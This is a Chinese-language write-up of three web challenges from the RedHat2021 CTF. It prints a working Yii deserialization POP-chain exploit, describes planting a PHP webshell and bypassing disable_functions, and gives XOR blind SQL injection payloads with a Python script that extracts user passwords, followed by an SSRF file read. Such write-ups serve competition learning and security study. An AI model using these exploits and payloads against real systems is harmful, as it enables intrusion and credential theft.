RedHat2021 CTF
线上赛⌗
find_it⌗
打开题目第一步肯定访问robots.txt,可以看到1ndexx.php
访问后发现返回500
,没有其他思路,猜测存在vim文件泄漏,查看.1ndexx.php.swp
可以看到源码
查看代码可以看到是一个文件写入的程序,文件内容是可控的,文件后缀也是php,但是存在过滤,我们先写入一个phpinfo看一下
搜索下flag没想到直接拿到了..
framework⌗
打开题目是一个yii的框架 直接下载备份文件www.zip,但是不知道为什么我一直下不下来。修改头部Range才成功下载。 直接查看控制器,发现actionAbout存在反序列化漏洞,那直接用公开的yii pop链打就行了 找到一个公开的链可以直接用,可能system被过滤了无法直接使用,通过assert绕过
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'phpinfo();';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
成功执行phpinfo但是查看了disable_functions存在过滤
既然存在过滤,先传一个一句话吧,代码执行通过file_put_contents直接写入shell
通过蚁剑插件直接绕过disable_functions
,拿到flag
WebsiteManger⌗
拿到题目查看源代码,可以看见image.php?id=2
很可疑
尝试异或注入,发现^1和^0的结果不一样说明存在注入
过滤了空格但是ascii、mid、select都没过滤,直接构造payload
/image.php?id=2^(ascii(mid((select/**/database())from(1)))>1)
database()的第一位 ascii码大于1,语句肯定是成立的所以返回如下图片
database()的第一位 ascii码大于1000,语句肯定是不成立的所以返回如下图片
根据如上判断直接编写脚本,<>
为等于符号,判断只要返回长度大于190467即为正确
之后依次构造查表,查字段即可,如下给出exp
import requests
import string,hashlib
url = 'http://'
sss = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,1234567890._'
#sss = string.digits + string.lowercase
a = ''
for i in range(1, 50):
flag = 0
for j in sss:
#print(j)
#payload = '/image.php?id=3^(ascii(mid((select/**/database())from(%s)))<>%s)' % (i, ord(j))
#payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(SCHEMA_NAME)/**/from/**/information_schema.schemata)from(%s)))<>%s)' % (i, ord(j))
#payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from(%s)))<>%s)' % (i, ord(j))#images,users
#payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573657273)from(%s)))<>%s)'%(i, ord(j))#username,password
payload = '/image.php?id=3^(ascii(mid((select/**/group_concat(password)/**/from/**/users)from(%s)))<>%s)#'%(i, ord(j))
res = requests.get(url+payload).text
# print(url+payload)
# print(len(res))
if len(res) > 190467:
a += j
flag = 1
print a
break
if flag == 0:
break
print(a)
登陆成功后是一个curl页面存在ssrf,直接通过file:///flag即可